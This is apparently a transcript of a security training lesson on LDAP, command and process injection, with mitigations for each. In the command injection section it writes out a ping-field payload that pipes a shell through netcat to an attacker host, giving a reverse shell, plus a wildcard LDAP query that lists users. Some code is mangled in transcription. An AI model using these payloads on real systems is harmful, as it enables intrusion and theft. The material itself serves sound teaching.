In this lesson,
we're going to discuss some common injection attacks
including LDAP injections, command injections
and process injections.
First, we have LDAP injections.
LDAP or the lightweight directory access protocol
is an open, vendor neutral
industry standard application protocol
for accessing and maintaining
distributed directory information services
over an internet protocol network.
LDAP is often used for authentication
and storing information about users,
groups and applications.
An LDAP injection is an application attack
that targets web-based applications
by fabricating LDAP statements
that are typically created by user input.
For example, if a web application uses LDAP
as part of the user login process,
an attacker could perform an LDAP injection
to search for the users on that server
by injecting queries into the LDAP search,
similar to how an attacker inserts malicious queries
into an SQL injection.
For example, if the backend code for the server
use the following code,
string ldapSearch = "(cn = $searchName")";
System.out.println(ldapSearch);
this could actually allow an attacker
to simply enter a wildcard character of star
into the username field
and that would then be inserted as the search parameter
and display all of your users on the system to your screen.
To protect yourself against an LDAP injection attack,
you should always use input validation
and input sanitization, just like we do to protect ourselves
from an SQL injection or an XML injection.
Second, we have a command injection.
Now, a command injection occurs when a threat actor
is able to execute arbitrary shell commands on a host
via a vulnerable web application.
For example, if you have a web application
that allows a user to test a connectivity
with a remote website or server
by simply entering in the IP address or host name,
and then on the backend you're going to use the ping command,
this could be subject to a command injection
by simply appending a command to the app.
For example, your application in this website
might have a form that's going to allow you
to enter an IP address
and the web application then takes that input
and adds it to the ping command
to execute it on your server.
So if I enter diontraining.com and hit the button,
it's going to send that over
and become ping diontraining.com.
But if instead, I decide
to enter diontraining.com && hostname into that field,
this will create a command
of ping diontraining.com && hostname
that's going to be executed by the server shell.
This would then return the result of the ping command
and then display the host name of that server.
If I wanted to make this a little bit more malicious,
I can instead use something like,
diontraining.com && /bin/sh
l nc hacked.diontraining.com 443.
This would then ping diontraining.com
and then move to the second command,
which is starting up a shell
and redirecting it over to netcat
to a listener that I have set up hackdiontraining.com
over port 443.
This would essentially give me full interactive access
to this web server by running the simple command injection
against that vulnerable server.
As you probably guessed, just like SQL injections,
XML injections and LDAP injections,
you can also prevent command injections
by conducting proper input validation
on input received from any of your users.
In the case of this web application,
we should only accept IP addresses or domain name as input,
and we should only allow those to be pinged
using this application and anything after the .com
or the final octet should just be ignored
or it's not sent over to that ping command.
Third, we have process injections.
Now, a process injection is a method
of executing arbitrary code in the address space
of a separate live process.
Running code in the context of another process
may allow access to the process' memory,
system or network resources
and possibly even elevated privileges.
Execution via process injection may also evade detection
from security products, because execution is masked
under a legitimate process.
Now, there are many different ways
to inject code into a process.
Many of these will abuse legitimate functionalities as well.
This includes injection through DLLs,
threat execution hijacking, process hollowing,
process doppelganging, asynchronous procedure calls
and portable execution injections.
To mitigate against process injections,
you should use endpoint security solutions
that are configured to block common sequences
of attack behavior.
You can utilize a security Kernel module
and you can utilize the practice of least privilege.